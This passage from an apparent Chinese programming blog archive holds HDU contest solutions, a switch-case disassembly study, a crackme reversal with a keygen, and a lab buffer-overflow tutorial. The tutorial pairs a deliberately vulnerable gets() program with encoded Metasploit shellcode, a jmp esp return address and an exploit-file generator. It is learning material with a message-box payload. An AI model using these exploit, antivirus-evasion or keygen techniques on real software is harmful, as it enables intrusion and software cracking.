            if(map[u][v]==4) vis[u][v]=1;
            q[iq].x=u;q[iq].y=v;q[iq].t=tt-1;q[iq].step=step+1;
            if(map[u][v]==4) q[iq].t=6;
            iq++;
        }
    }
    return -1;
}
int main()
{
    int i,j;
    int t;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d%d",&n,&m);
        for(i=1;i<=n;i++)
            for(j=1;j<=m;j++)
            {
                scanf("%d",&map[i][j]);
                if(map[i][j]==2) sx=i,sy=j;
                if(map[i][j]==3) tx=i,ty=j;
            }
        printf("%d\n",bfs());
    }
    return 0;
}

hdu1026 简单题
如果答案是1 second,仍然输出1 seconds哦

#include<stdio.h>
#include<string.h>
const int maxq=100000+10;
int n,m;
char map[110][110];
bool vis[110][110];
typedef struct Node{
    int x,y,t,tt;
    int pre;
}Node;
Node q[maxq];
int iq;
int a[]={0,1,-1,0,0};
int b[]={0,0,0,1,-1};
bool judge(int x,int y)
{
    if(1<=x && x<=n && 1<=y && y<=m) return 1;
    return 0;
}
int bfs()
{
    int i,j;
    iq=0;memset(vis,0,sizeof(vis));
    q[iq].x=1;q[iq].y=1;q[iq].t=0;q[iq].pre=-1;
    iq++;
    vis[1][1]=1;
    for(i=0;i<=iq-1;i++)
    {
        int x=q[i].x,y=q[i].y,t=q[i].t,tt=q[i].tt;
        if(x==n && y==m)
        {
            if('1'<=map[n][m] && map[n][m]<='9')
            {
                if(!tt) return i;
            }
            else return i;
        }
        if('1'<=map[x][y] && map[x][y]<='9' && tt)
        {
            q[iq].x=x;q[iq].y=y;q[iq].t=t+1;q[iq].tt=tt-1;
            q[iq++].pre=i;
            continue;
        }
        for(j=1;j<=4;j++)
        {
            int u=x+a[j],v=y+b[j];
            if(!judge(u,v) || vis[u][v] || map[u][v]=='X') continue;
            q[iq].x=u;q[iq].y=v;q[iq].t=t+1;q[iq].tt=map[u][v]-'0';
            q[iq++].pre=i;
            vis[u][v]=1;
        }
    }
    return -1;
}
void dfs(int cur)
{
    int x=q[cur].x,y=q[cur].y,t=q[cur].t,pre=q[cur].pre;
    int px=q[pre].x,py=q[pre].y;
    if(px==1 && py==1)
    {
        printf("%ds:(%d,%d)->(%d,%d)\n",t,px-1,py-1,x-1,y-1);
        return;
    }
    dfs(pre);
    if(px==x && py==y) printf("%ds:FIGHT AT (%d,%d)\n",t,x-1,y-1);
    else printf("%ds:(%d,%d)->(%d,%d)\n",t,px-1,py-1,x-1,y-1);
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d%d",&n,&m))
    {
        getchar();
        for(i=1;i<=n;i++)
        {
            for(j=1;j<=m;j++)
                scanf("%c",&map[i][j]);
            getchar();
        }
        int ans=bfs();
        if(ans==-1) {printf("God please help our poor hero.\nFINISH\n");continue;}
        printf("It takes %d seconds to reach the target position, let me show you the way.\n",q[ans].t);
        dfs(ans);
        printf("FINISH\n");

    }

    return 0;
}

hdu 5213——莫队算法

题目大意是给出n个自然数a[],1<=a[i]<=n,给出m个询问l1,r1,l2,r2.再给出k,问第一个数在[l1,r1],第二个数在[l2,r2],且两个数加起来等于k。这样的数有多少对。n,m都是<=30000
这题需要莫队算法。设ans[l,r]表示[l,r]之间有多少对这样的数。则答案=ans[l1,r2]-ans[l1,l2-1]-ans[r1+1,r2]+ans[r1+1,l2-1]
也就是说把每个询问分解成四个莫队算法那类题的四个询问,然后分块解决。
时间复杂度:n^1.5

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;
const int maxn=30000+10;
int n,k,m;
int a[maxn],ans[maxn][5];
typedef struct Query{
    int id,num;
    int g,l,r;
}Query;
Query q[maxn<<2];
int iq;
int cnt[maxn],ret;
bool cmp(Query a,Query b)
{
    if(a.g==b.g) return a.r<b.r;
    return a.g<b.g;
}
int index(int x)
{
    return x<0?30001:x;
}
void cal(int l1,int r1,int l2,int r2)
{
    while(l1<l2) {ret-=cnt[index(k-a[l1])];cnt[a[l1]]–;l1++;}
    while(l1>l2) {l1–;ret+=cnt[index(k-a[l1])];cnt[a[l1]]++;}
    while(r1<r2) {r1++;ret+=cnt[index(k-a[r1])];cnt[a[r1]]++;}
    while(r1>r2) {ret-=cnt[index(k-a[r1])];cnt[a[r1]]–;r1–;}
    return;
}
int main()
{
    int i,j;
    int l1,r1,l2,r2;
    cnt[30001]=0;
    while(~scanf("%d",&n))
    {
        iq=0;
        memset(cnt,0,sizeof(cnt));
        scanf("%d",&k);
        for(i=1;i<=n;i++) scanf("%d",&a[i]);
        scanf("%d",&m);
        for(i=1;i<=m;i++)
        {
            scanf("%d%d%d%d",&l1,&r1,&l2,&r2);
            q[++iq].id=i;q[iq].num=1;q[iq].l=l1;q[iq].r=r2;
            q[++iq].id=i;q[iq].num=2;q[iq].l=l1;q[iq].r=l2-1;
            q[++iq].id=i;q[iq].num=3;q[iq].l=r1+1;q[iq].r=r2;
            q[++iq].id=i;q[iq].num=4;q[iq].l=r1+1;q[iq].r=l2-1;
        }
        int len=(int)sqrt(n*1.0);
        for(i=1;i<=iq;i++) q[i].g=q[i].l/len;
        sort(q+1,q+1+iq,cmp);

        q[0].l=1;q[0].r=1;cnt[a[1]]=1;
        ret=0;
        for(i=1;i<=iq;i++)
        {
            cal(q[i-1].l,q[i-1].r,q[i].l,q[i].r);
            ans[q[i].id][q[i].num]=ret;
        }
        for(i=1;i<=m;i++)
            printf("%d\n",ans[i][1]-ans[i][2]-ans[i][3]+ans[i][4]);
    }
    return 0;
}

用metasploit framework制作shellcode

这几天在学缓冲区溢出的一些东西,缓冲区溢出和shellcode是一个非常令人着迷的领域。这几天的学习算是入了一下门。今天来测试一下metasploit framework这个平台里面的payload,也就是shellcode。

metasploit是个神奇的渗透测试平台,是白帽子和黑帽子的神器,具体有多神,请参见相关书籍。。

由于对web攻击一窍不通,所以目前对于msf(metasploit framework),我对它的了解仅仅是知道里面有很多好用的exploit和shellcode。

0×00

好了,废话不多说,先来构造一个有缓冲区溢出漏洞的代码,如下

#include<stdio.h>
#include<string.h>
void overflowf()
{
	char buff[64];
	gets(buff);
	return;
}
int main()
{
	int i;
	char tmp[1024];
	for(i=0;i<=1022;i++) tmp[i]='a';
	tmp[1023]=0;
	printf("%s\n",tmp);
	overflowf();
	return 0;
}

gets没有对输入字串的长度进行检查,导致缓冲区溢出。我们可以通过构造精巧的输入字符串来获得执行控制权。

0×01

获得执行控制权的关键在于控制eip的值,因此我们要覆盖函数返回地址。这样,在函数retn时,我们填入的地址会pop到eip。所以我们用od来观察overflowf()函数的代码。

可以看到,buff首地址距离返回地址0×40(即64)个字节(这里不太清楚的读者可能要好好复习一下函数调用约定的一些姿势),所以我们可以先填充64个垃圾数据(一般用0×90(nop)),但是注意不能有‘\n’和’\0′,因为gets遇到它们就结束读取了。然后跟一个返回地址,那么这个地址应该是什么呢,”当然是我们的shellcode的首地址。这样,函数返回时才能执行我们植入的shellcode嘛”,有的童鞋可能会这样认为,事实上思路没错,但是由于堆栈段在内存是浮动的,程序这次加载和下次加载很可能堆栈段在不同内存地址,如果我们直接在返回地址处填入shellcode的绝对地址,那下次很可能无法无法命中shellcode首地址。

0×02

那么返回地址处到底该填什么呢,这里有一个小技巧。我们可以在内存最高区域搜索jmp esp这样的指令,把它的地址填入返回地址处。

对于一个确定的系统,如xpsp2,0x7f6f0000的几个段基本上在内存中地址是固定的,

ffe4是jmp esp的机器码

so,我们可以先返回到这个jmp esp处,由于执行jmp esp时esp正好指向返回地址的后面一个栈帧,所以我们可以把shellcode放在返回地址之后。这样我们就解决了定位shellcode的问题。

0×03

现在,我们已经知道了如何把程序执行权转到我们手里,我们还缺一份不错的shellcode。让我们把目光转向metasploit framework,我们开始选择一个合适的shellcode。由于我们只是测试,可以让程序弹出一个消息框。选择message这个payload。

可以看到有许多选项可以配置,msf的强大之处就在于把本来要用汇编来写的shellcode变成了easy的填空题。

比较重要的是encoder这个选项,我们可以选择一种方式把我们的shellcode加密。这样做有几个好处

1.可以逃过一些防护程序的查杀。

2.在这个例子中,这个shellcode含有’\n’,这会导致无法完全写入shellcode,而加密之后可以消除’\n’。

填空完完成后我们就可以点击Generate生成一份shellcode了,选择c文件方式生成,shellcode如下

unsigned char buf[] = 
"\xeb\x65\x5e\x31\xed\x83\xe1\x01\x83\xe3\x01\x66\xbb\x5f\xbd"
"\x66\x81\xf3\xfe\xbc\x89\xf7\x83\xe0\x7f\xac\xb1\x08\x80\xf9"
"\x06\x74\x23\x60\x83\xe9\x01\x74\x06\xb3\x02\xf6\xf3\xe2\xfc"
"\x83\xe0\x01\x6b\x2f\x02\x09\xe8\xaa\x61\x83\xed\xff\x83\xfd"
"\x08\x75\x05\x83\xef\xff\x31\xed\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\xe2\xbc\x83\xeb\x01\x74\x07\xeb\xaf\xe8\x96"
"\xff\xff\xff\xec\xfa\xf3\x7d\xab\xb0\xa9\xf4\x38\xf4\xb6\x67"
"\x79\xa7\x32\xe4\xa5\xbc\x66\x28\xbb\xb8\x39\x2b\x7b\x27\x31"
"\x74\x70\x62\x36\xfe\x30\x62\xe6\xe3\xa2\x7c\x70\xf5\xf9\xb6"
"\x60\x3d\x2f\xff\xa2\xe0\xa5\xbb\x24\xa2\x64\x6d\x2a\x7c\xa5"
"\xb5\x25\x27\xa0\x27\xb5\x2b\x65\x26\x31\x75\xb1\x20\x23\xeb"
"\xf1\xad\x29\x38\xb9\xb2\x36\x21\xf7\x2c\x7f\xf3\x2e\x23\xf9"
"\x6c\xa2\x70\x2e\xa0\x7e\x27\x3e\x2d\x20\xf1\xfd\x7f\x61\xed"
"\xf8\x64\x34\x3d\x7c\x38\xba\xe8\xa8\x21\xf5\xb9\xb1\x70\xe2"
"\x6e\x36\xba\x2e\x20\x7d\x78\xb8\x32\x36\x21\xf4\x62\x68\xa2"
"\x60\xf1\xa3\xa3\xb9\x22\x25\x3d\x64\x67\xab\x29\xe1\x3a\x31"
"\xe4\xf0\x7b\xb8\xb2\xf4\x67\xff\xff\xff\xfe\x32\xa5\x22\x6e"
"\xef\xed\xa7\x29\xe7\x27\x2e\x29\x2a\x6e\xa4\x7b\xff\xff\xff"
"\xe2\x68\xb0\xa3\x61\xb8\xec\x30\x30\x6d\x23\x39\xa8\xbc\xe4"
"\x74\x3d\x6e\x76\x6b\xaa\x30\xbc\x32\x22\xb1\x3e\x72\xbb\xfe"
"\xb5\x22\x62\x78\x65\x25\xee\xb1\x62\x66\xef\x30\xf1\xe1\x31"
"\x65\xe8\x70\xff\xff\xff\xfb\x61\xbe\xf8\x6c\x28\x2d\x26\x2b"
"\x3d\xaa\xa2\x74\x33\x6c\xb7\x3b\xac\xe3\xbb\xa4\x37\x24\xa0"
"\xb4\x67\xa6\xe8\x6c\x28\x24\x22\x23\x61\x3a\xb3\x63\x28\x6d"
"\x27\x33\x7d\xba\x60\x74\x3b\xe5\xa2\x23\x39\xb0\xa8\x72\xbb"
"\x2d\xa3\x2e\x66\x30\xac\x32\x24\x31\x3e\x29\xa7\x64\xb2\x69"
"\xb4\x6a\x6f\xfe\xa0\xe3\xa0\x68\x7f\xea\xb0\xa0";

0×04

好,我们已经可以写出完整的exploit了,写一段c代码把完整的exploit写入文件shellcode

#include<stdio.h>
#include<string.h>
unsigned char buf[] = 
"\xeb\x65\x5e\x31\xed\x83\xe1\x01\x83\xe3\x01\x66\xbb\x5f\xbd"
"\x66\x81\xf3\xfe\xbc\x89\xf7\x83\xe0\x7f\xac\xb1\x08\x80\xf9"
"\x06\x74\x23\x60\x83\xe9\x01\x74\x06\xb3\x02\xf6\xf3\xe2\xfc"
"\x83\xe0\x01\x6b\x2f\x02\x09\xe8\xaa\x61\x83\xed\xff\x83\xfd"
"\x08\x75\x05\x83\xef\xff\x31\xed\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\xe2\xbc\x83\xeb\x01\x74\x07\xeb\xaf\xe8\x96"
"\xff\xff\xff\xec\xfa\xf3\x7d\xab\xb0\xa9\xf4\x38\xf4\xb6\x67"
"\x79\xa7\x32\xe4\xa5\xbc\x66\x28\xbb\xb8\x39\x2b\x7b\x27\x31"
"\x74\x70\x62\x36\xfe\x30\x62\xe6\xe3\xa2\x7c\x70\xf5\xf9\xb6"
"\x60\x3d\x2f\xff\xa2\xe0\xa5\xbb\x24\xa2\x64\x6d\x2a\x7c\xa5"
"\xb5\x25\x27\xa0\x27\xb5\x2b\x65\x26\x31\x75\xb1\x20\x23\xeb"
"\xf1\xad\x29\x38\xb9\xb2\x36\x21\xf7\x2c\x7f\xf3\x2e\x23\xf9"
"\x6c\xa2\x70\x2e\xa0\x7e\x27\x3e\x2d\x20\xf1\xfd\x7f\x61\xed"
"\xf8\x64\x34\x3d\x7c\x38\xba\xe8\xa8\x21\xf5\xb9\xb1\x70\xe2"
"\x6e\x36\xba\x2e\x20\x7d\x78\xb8\x32\x36\x21\xf4\x62\x68\xa2"
"\x60\xf1\xa3\xa3\xb9\x22\x25\x3d\x64\x67\xab\x29\xe1\x3a\x31"
"\xe4\xf0\x7b\xb8\xb2\xf4\x67\xff\xff\xff\xfe\x32\xa5\x22\x6e"
"\xef\xed\xa7\x29\xe7\x27\x2e\x29\x2a\x6e\xa4\x7b\xff\xff\xff"
"\xe2\x68\xb0\xa3\x61\xb8\xec\x30\x30\x6d\x23\x39\xa8\xbc\xe4"
"\x74\x3d\x6e\x76\x6b\xaa\x30\xbc\x32\x22\xb1\x3e\x72\xbb\xfe"
"\xb5\x22\x62\x78\x65\x25\xee\xb1\x62\x66\xef\x30\xf1\xe1\x31"
"\x65\xe8\x70\xff\xff\xff\xfb\x61\xbe\xf8\x6c\x28\x2d\x26\x2b"
"\x3d\xaa\xa2\x74\x33\x6c\xb7\x3b\xac\xe3\xbb\xa4\x37\x24\xa0"
"\xb4\x67\xa6\xe8\x6c\x28\x24\x22\x23\x61\x3a\xb3\x63\x28\x6d"
"\x27\x33\x7d\xba\x60\x74\x3b\xe5\xa2\x23\x39\xb0\xa8\x72\xbb"
"\x2d\xa3\x2e\x66\x30\xac\x32\x24\x31\x3e\x29\xa7\x64\xb2\x69"
"\xb4\x6a\x6f\xfe\xa0\xe3\xa0\x68\x7f\xea\xb0\xa0";
int main()
{
	int i;
	freopen("E:\\c++ source\\shellcode\\Release\\shellcode","w",stdout);
	for(i=1;i<=64;i++) printf("%c",0x90);
	printf("%c",0x12);
	printf("%c",0x45);
	printf("%c",0xfa);
	printf("%c",0x7f);
	printf("%s",buf);
	return 0;
}

现在,我们可以测试一下效果了。

ok,成功的执行了我们的shellcode,弹出了一个messagebox

0×05

过程中遇到的一些问题与总结:

0.忘记了cmd的管道命令可以把文件作为程序的输入。。

1.shellcode中有’\n’,导致植入失败

2.开始写的gets.exe程序只有一个buff缓冲区,然后shellcode太长导致撑满了整个堆栈区,结果gets函数在执行过程中就异常退出了,overflowf也就没有返回,导致shellcode没有执行(这点只是猜测)

3.为什么我要在gets.exe里面加上一个tmp缓冲区并打印?参见第2点

4.为什么不自己写shellcode?

因为我比较菜,这个任务留到下次,shellcode里面调api要通过teb->peb->dll的导出表。还是比较烦的

shellcode编写入门

1.由于栈地址是浮动的,所以覆盖返回地址时不能直接用shellcode的绝对地址

2.可以利用dll里面的jmp esp指令,由于函数返回后,esp指向返回地址后面的地址,所以返回地址填入jmp esp指令的地址,这样当函数返回时会执行jmp esp,这时如果esp所指地址是shellcode,shellcode就能得到执行。

3.将shellcode放在返回地址之后会大规模破父函数的栈帧,不利于执行完shellcode之后的恢复,所以要把shellcode放在溢出的缓冲区首地址处。而在返回地址后仅仅只放shellcode的头,也就是类似jmp esp-xxx这样的指令

4.3的做法会带来一个坏处,那就是shellcode所在栈区是垃圾区域,esp指向返回地址后面。这样如果shellcode里面有压栈指令,很可能覆盖掉shellcode本身。

5.由于4的原因我们在shellcode开始时要抬高栈顶,至少将esp减到比buff首地址小,这样压栈操作就不会覆盖shellcode代码本身

6.对于像strcat(“路径”,buff)这样的溢出漏洞,由于路径长度在不同机器上很可能不同,所以导致buff首地址(这里指的是buff内容copy到”路径”后面的那个地址)不同,这样我们在本地测试的exploit,很可能因为返回地址覆盖错误而失效。

7.6的解决:可以这样,将shellcode放入堆中,其首地址为按字节循环(例如0x0c0c0c0c),这样在返回地址所在栈帧附近大量填充0c0c0c0c0c0c0c0c……,这样的话,即使错位,返回地址还是覆盖成了0x0c0c0c0c。至于怎样实现shellcode放入堆区。。。。你问我,我怎么知道。。我目前还没学。。

吊炸天的switch-case语句

来看下面一段代码

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	default:
		printf("this is 3\n");
	
	
	}
	return 0;
}

它的反汇编代码

text:00401017                 sub     eax, 0
.text:0040101A                 jz      short loc_401055
.text:0040101C                 dec     eax
.text:0040101D                 jz      short loc_401044
.text:0040101F                 dec     eax
.text:00401020                 jz      short loc_401033
.text:00401022                 push    offset aThisIs3 ; "this is 3\n"
.text:00401027                 call    sub_401070
.text:0040102C                 add     esp, 4
.text:0040102F                 xor     eax, eax
.text:00401031                 pop     ecx
.text:00401032                 retn

eax里面存的是变量xh

可以发现用减法代替了cmp,进行了优化

对源代码稍作修改,增加一个case

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	case 3:
		printf("this is 3\n");
	default:
		printf("this is 4\n");
	
	
	}
	return 0;
}

它的反汇编代码

1017                 cmp     eax, 3          ; switch 4 cases
.text:0040101A                 ja      short loc_401063 ; jumptable 0040101C default case
.text:0040101C                 jmp     ds:off_401074[eax*4] ; switch jump

其中地址0×401074处的数据

.text:00401074 off_401074      dd offset loc_401023    ; DATA XREF: _main+1Cr
.text:00401074                 dd offset loc_401034    ; jump table for switch statement
.text:00401074                 dd offset loc_401045
.text:00401074                 dd offset loc_401056

分别是4个分支指令块的地址
可以发现用了一个跳转表来优化代码,实际上这是hash算法(不明白?想想计数排序是怎么样的)

 

继续修改

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	case 254:
		printf("this is 3\n");
	default:
		printf("this is 4\n");
	
	
	}
	return 0;
}

来看它的反汇编代码:

.text:00401017                 cmp     eax, 0FEh       ; switch 255 cases
.text:0040101C                 ja      short loc_40106D ; jumptable 00401026 default case
.text:0040101E                 xor     ecx, ecx
.text:00401020                 mov     cl, ds:byte_401094[eax]
.text:00401026                 jmp     ds:off_401080[ecx*4] ; switch jump

碉堡,这回编译器用两个表来实现switch,先来看地址0×401094处的表

.text:00401094 byte_401094     db 0, 1, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                                         ; DATA XREF: _main+20r
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4 ; indirect table for switch statement
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 3

可以看到,这个字符数组里面只有0,1,2,3,4.其实这几个数字正好对应了5个分支
再来看0×401080处的数据

.text:00401080 off_401080      dd offset loc_40102D, offset loc_40103E, offset loc_40104F
.text:00401080                                         ; DATA XREF: _main+26r
.text:00401080                 dd offset loc_401060, offset loc_40106D ; jump table for switch statement

这个数组和上面那个例子中的表一样,都是不同分支的代码处的地址

所以,联系起来可以发现,实际上这种情况下,编译器是用两次hash的方式进行优化的,由于0,1,2和254相差很大,如果只采用一个跳转表的话势必会浪费空间,因为这个表大小是256*4byte.而实际只有5个dword是真正起作用的。那么如果用两个表(或者说数组)呢?
首先第一个数组是字符数组hash[255],hash[i]的值是分支的编号,第二个数组ad[]是双字数组,ad[hash[i]]表示编号为hash[i]的分支的地址。那么所需空间为256*1byte+5*4byte。看,空间降下来了。

看到这里,读者可能意识到一个问题,第一个数组是byte型的,那要是代码中实际分支数超过256呢?显然,这时编译器不会再采用这种两个跳转表的方式

再来思考一个问题:如果case还是很少,但是case间的差值真的太大呢?也就是假如有case 10000这种情况,难道要开辟一个10002*1byte的数组?

显然写编译器的程序员不会这么豆逼嘛。。

继续修改上面的代码
(实在不好意思,突然发现上面的代码里面少打了一个break;。。。)

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	case 10000:
		printf("this is 3\n");
		break;
	default:
		printf("this is 4\n");
	}
	return 0;
}

相应的反汇编代码:

.text:00401017                 cmp     eax, 800
.text:0040101C                 jg      short loc_40105E
.text:0040101E                 jz      short loc_40104D
.text:00401020                 test    eax, eax
.text:00401022                 jz      short loc_40103C
.text:00401024                 cmp     eax, 200
.text:00401029                 jnz     short loc_401065
.text:0040102B                 push    offset aThisIs1 ; "this is 1\n"
.text:00401030                 call    sub_401090
.text:00401035                 add     esp, 4
.text:00401038                 xor     eax, eax
.text:0040103A                 pop     ecx
.text:0040103B                 retn

上面代码中不含各分支具体处理的代码
这样好像看不出啥,我们把比较过程化成树的形式来直观的感受

可见,是一颗二叉树,如果继续修改源代码,结果应当是差不多的,得到的二叉树近似是平衡的,这样查找的时间复杂度是O(logn)
也就是说,当各个case的差值很大且case数较多时,编译器是用平衡二叉树来优化的,这样时间效率还是很高

逆向一个crackme(4)

(注意:本文的代码都是有格式的,但是网页加载比较慢,如果看每格式的代码比较累,可以稍作等待,等网页加载完毕即可显示格式。。。)
这是160个crackme的第23个

 
crackme23
在做这个crackme之前,c/c++或者masm/tasm写的程序我都是直接od载入调试的,但是这个程序的算法昨天折腾了大半天还是没搞明白。无奈,今天第一次(基本上算第一次吧。。)用ida静态的来分析之,忽然就豁然开朗,ida的图形界面方式简直碉堡了。。

首先打开程序

要求输入name和serial,如果正确的话status里就会显示成功

peid载入发现是masm/tasm汇编写的

程序比较小,爆破就不说了,比较简单,下面用ida载入,看看程序流程

sub_401023是main函数,进去,找到窗口过程

进去之后,发现程序是调用了SetTimer定期检测两个输入框

来到WM_TIMER的地方,这里是关键

(注意:因为我分析过,所以函数名之类我已经改过了)

这里有两个全局变量:

dword ptr [403166]  不妨设为a

dword ptr [403167]  不妨设为b

事实上待会还会涉及到一个全局变量dword ptr [403168]  不妨设为c

通过分析call switcha之后的代码可以发现,当a=16,b!=16时注册成功

好,来看关键函数switcha()

不知道为什么ida没有分析完整,第一次用ida,我也不知道怎么弄。。

事实上这里的retn的作用是jmp。并不是真的返回。我们用od分析。

注意下面这几句

00401459 |. 8925 A0314000 mov dword ptr ds:[0x4031A0],esp
0040145F |. 8D25 52314000 lea esp,dword ptr ds:[0x403152] ;
00401465 |. 0FBE05 66314000 movsx eax,byte ptr ds:[0x403166]
0040146C |. 03E0 add esp,eax

把esp保存之后将esp指向内存地址0×403152,然后再add变量a,这样之后retn,那么显然程序会跳到0×403152+a内的值所指向的地方接着执行,相当于jmp dword ptr [0x403152+eax]。(原因在于retn的本质是pop eip;jmp eip)

接着我们该做的事当然是看看0×403152这个地方存了什么东东

我们发现其实是5个地址值。

那么可以判断这个函数其实是根据变量a的值的不同跳转到不同分支去执行,这不就是switch语句吗。

具体来看这5个地址处的指令

 

;跳转0
0040146F  mov esp,dword ptr ds:[0x4031A0]
00401475  push 0x0                                 ; /IsSigned = FALSE
00401477  lea eax,dword ptr ss:[ebp-0x4]           ; |
0040147A  push eax                                 ; |pSuccess
0040147B  push 0x64                                ; |ControlID = 64 (100.)
0040147D  push dword ptr ds:[0x403170]             ; |hWnd = NULL
00401483  call <jmp.&USER32.GetDlgItemInt>         ; \GetDlgItemInt
00401488  mov dword ptr ds:[0x403188],eax          ;  序列号存入变量0x403188,不妨设为p
0040148D  cmp dword ptr ss:[ebp-0x4],0x0           ;  读取是否成功
00401491  je XChafe_1.0040149A
00401493  add byte ptr ds:[0x403166],0x4           ;  a+=4
0040149A  leave
0040149B  retn


;跳转1
00401063  mov esp,dword ptr ds:[0x4031A0]
00401069  push 0x14                                ; /Count = 14 (20.)
0040106B  push Chafe_1.0040318C                    ; |用户名存入0x40318c,不妨设为u
00401070  push dword ptr ds:[0x403174]             ; |hWnd = NULL
00401076  call <jmp.&USER32.GetWindowTextA>        ; \GetWindowTextA
0040107B  mov ecx,0x14                             ;  函数读取20个字符
00401080  sub ecx,eax
00401082  lea edi,dword ptr ds:[eax+0x40318C]
00401088  mov byte ptr ds:[edi],0x0
0040108B  inc edi
0040108C  dec ecx                                  ;  这个循环是把读取的name后的空间填0
0040108D  jnz XChafe_1.00401088                    ;  这样做是因为实际上算法用到了19个byte
0040108F  test eax,eax
00401091  je XChafe_1.004010A3
00401093  add byte ptr ds:[0x403166],0x4           ;  如果成功读取则a+=4
0040109A  mov byte ptr ds:[0x403168],0x0           ;  c=0
004010A1  jmp XChafe_1.004010A9
004010A3  mov byte ptr ds:[0x403166],ah            ;  没有输入用户名则a=0
004010A9  leave
004010AA  retn

;跳转2
00401361  lea edi,dword ptr ds:[0x40318C]
00401367  movsx eax,byte ptr ds:[0x403168]
0040136E  add edi,eax                              ;  u1
00401370  inc byte ptr ds:[0x403168]               ;  c++
00401376  mov eax,dword ptr ds:[0x403188]          ;  eax=p
0040137B  mov esp,dword ptr ds:[0x4031A0]          ;  恢复堆栈
00401381  inc eax                                  ;  p++
00401382  inc dword ptr ds:[0x403188]
00401388  xor eax,dword ptr ds:[edi]               ;  p^=((u1<<24)+(u1<<16)+(u1<<8)+u1)
0040138A  mov dword ptr ds:[0x403188],eax
0040138F  cmp byte ptr ds:[0x403168],0x10          ;  c==16?
00401396  jnz XChafe_1.0040139F
00401398  add byte ptr ds:[0x403166],0x4
0040139F  leave
004013A0  retn

;跳转3
0040149C  mov eax,dword ptr ds:[0x403188]
004014A1  add eax,0x9112478                        ;  p+0x9112478==0?
004014A6  test eax,eax
004014A8  jnz XChafe_1.004014B3
004014AA  add byte ptr ds:[0x403166],0x4
004014B1  jmp XChafe_1.004014BA
004014B3  mov byte ptr ds:[0x403166],0x0
004014BA  mov esp,dword ptr ds:[0x4031A0]
004014C0  leave
004014C1  retn

;跳转4
004014BA  mov esp,dword ptr ds:[0x4031A0]
004014C0  leave
004014C1  retn

这五段代码联系起来看,这个switch就好理解了,用伪代码写写看

 

switch(a):
	case 0:
		if(输入了序列号p) a+=4;
		break;
	case 4:
		if(输入了用户名u[]) a+=4,b=0;
		else a=0;
		break;
	case 8:
		p+=1;
		p^=((u[C+3]<<24)+(u[C+2]<<16)+(u[C+1]<<8)+u[C]);//这里写成小写c会导致显示错误,wp的bug??
		c+=1;
		if(c==16) a+=4;
		break;
	case 12:
		if(p+0x9112478==0) a+=4;
		else a=0;
		break;
	case 16:
		break;

可以发现,这几个case是上面的成功了下次WM_TIMER来的时候就会执行下面的,所以作者写的时候目测是用if语句(因为是masm,所以应该是.if  .endif,win32汇编。。可能记错了语法,别打我。。)
又由于timer相当于while(1)
于是,用正常点的代码来叙述,如下

 

while(1)
{
	if(输入了序列号p)
	{
		if(输入了用户名u[])
		{
			for(c=0;c<16;c++)
			{
				p+=1;
				p^=((u[C+3] <<24)+(u[C+2] <<16)+(u[C+1] <<8)+u[C]);			
			}
			if(p==(uint)(-0x9112478)) 显示注册成功;
		}


	}
	显示注册失败;
}

大功告成,算法逆过来很简单,下面是注册机

 

#include<stdio.h>
#include<string.h>
typedef unsigned int uint;
typedef unsigned char uchar;
uchar s[20];
const uint xh=0x9112478;
int main()
{
    int i;
    while(~scanf("%s",s))
    {
        uint p=-xh;
        for(i=15;i>=0;i--)
        {
            p^=(uint)((s[i+3]<<24)+(s[i+2]<<16)+(s[i+1]<<8)+s[i]);
            p-=1;
        }
        printf("%u\n",p);

    }

    return 0;
}

PE工具编写

